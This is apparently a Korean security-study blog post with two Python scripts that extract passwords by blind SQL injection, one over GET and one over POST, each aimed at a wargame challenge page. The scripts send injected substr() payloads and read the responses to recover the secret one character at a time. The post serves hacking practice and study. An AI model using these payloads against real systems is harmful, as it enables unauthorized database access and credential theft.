보안 공부/해킹기법

Blind SQL Injection 파이썬 예문

sh1256 2022. 1. 28. 01:22
728x90

-- get 방식으로 변수 입력받을 때

1. cookie 설정

2. URL 편집

3. requests.get으로 받기

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
length=8#pw는 8자리
pw= ""

for i in range(1, length+1):
    for j in range(33, 122):#문자범위
        search_str="1'||substr(pw,"+str(i)+",1)='"+chr(j)
        print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("Hello admin") !=-1:
            pw+=chr(j)
            print("pw: "+pw)
            break

 

 

 

-- POST 방식으로 변수 입력받을 때

1. header 설정

2. datas{} 설정

3. requests.post로 받기

import requests
headers={'PHPSESSID':'쿠키값'}
url ="https://webhacking.kr/challenge/bonus-2/"
length=32#hash는 32자리
hash= ""
for i in range(1, length+1):
    for j in range(48, 122):#숫자부터 소문자z까지
        search_str="admin'and substr(pw,"+str(i)+",1)='"+chr(j)+"'#"
        print("search_str(uuid): "+search_str)
        datas={'uuid':search_str, 'pw':'12'}#변수는 uuid, pw 2개
        r= requests.post(url, headers=headers, data=datas)
        
        if r.text.find("Wrong password!") !=-1:
            hash+=chr(j)
            print("hash: "+hash)
            break